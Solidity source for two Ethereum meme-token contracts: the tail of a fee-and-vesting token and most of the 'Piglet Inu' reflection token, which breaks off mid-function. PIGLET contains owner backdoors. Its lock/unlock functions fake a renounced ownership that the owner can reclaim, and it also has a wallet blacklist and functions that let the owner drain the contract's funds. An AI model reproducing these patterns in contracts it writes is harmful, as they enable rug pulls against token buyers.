function updateliquidityWallet(address newWallet) external onlyOwner {
emit LiquidityWalletUpdated(newWallet, liquidityWallet);
liquidityWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function checkVesting(address from) private {
if (presaleAmount[from] == 0) {
return;
}
uint256 daysPassed = (block.timestamp - launchTime) / 1 days;
uint256 unlockedAmount = daysPassed * airdropThreshold * 1e18;
if (unlockedAmount > presaleAmount[from]) {
presaleAmount[from] = 0;
return;
}
require(
balanceOf(from) >= presaleAmount[from] - unlockedAmount,
"Vesting period is not ended yet"
);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] < block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
checkVesting(from);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{ value: ethAmount }(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityWallet,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(bool success, ) = address(marketingWallet).call{ value: ethForMarketing }(
""
);
(success, ) = address(devWallet).call{ value: ethForDev }("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
if (address(this).balance >= 1 ether) {
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
}
// force Swap back if slippage above 49% for launch. fix router clog
function forceSwapBack() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
require(
contractBalance >= totalSupply() / 100,
"Can only swap back if more than 1% of tokens stuck on contract"
);
swapBack();
emit OwnerForcedSwapBack(block.timestamp);
}
function withdrawDustToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
}
function withdrawDustETH(address _recipient) external onlyOwner {
uint256 contractETHBalance = address(this).balance;
(bool success, ) = _recipient.call{ value: contractETHBalance }("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
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/**
*Submitted for verification at Etherscan.io on 2021-12-22
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
//function _msgSender() internal view virtual returns (address payable) {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract PIGLET is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private botWallets;
bool botscantrade = false;
bool public canTrade = false;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 69000000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address public marketingWallet;
string private _name = "Piglet Inu";
string private _symbol = "PIGLET";
uint8 private _decimals = 9;
uint256 public _taxFee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 12;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 990000000000000000000 * 10**9;
uint256 public numTokensSellToAddToLiquidity = 690000000000000000000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function airdrop(address recipient, uint256 amount) external onlyOwner() {
removeAllFee();
_transfer(_msgSender(), recipient, amount * 10**9);
restoreAllFee();
}
function airdropInternal(address recipient, uint256 amount) internal {
removeAllFee();
_transfer(_msgSender(), recipient, amount);
restoreAllFee();
}
function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){
uint256 iterator = 0;
require(newholders.length == amounts.length, "must be the same length");
while(iterator < newholders.length){
airdropInternal(newholders[iterator], amounts[iterator] * 10**9);
iterator += 1;
}
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setMarketingWallet(address walletAddress) public onlyOwner {
marketingWallet = walletAddress;
}
function upliftTxAmount() external onlyOwner() {
_maxTxAmount = 69000000000000000000000 * 10**9;
}
function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() {
require(SwapThresholdAmount > 69000000, "Swap Threshold Amount cannot be less than 69 Million");
numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9;
}
function claimTokens () public onlyOwner {
// make sure we capture all BNB that may or may not be sent to this contract
payable(marketingWallet).transfer(address(this).balance);
}
function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() {
tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this)));
}
function clearStuckBalance (address payable walletaddress) external onlyOwner() {
walletaddress.transfer(address(this).balance);
}
function addBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = true;
}
function removeBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = false;
}
function getBotWalletStatus(address botwallet) public view returns (bool) {
return botWallets[botwallet];
}
function allowtrading()external onlyOwner() {
canTrade = true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
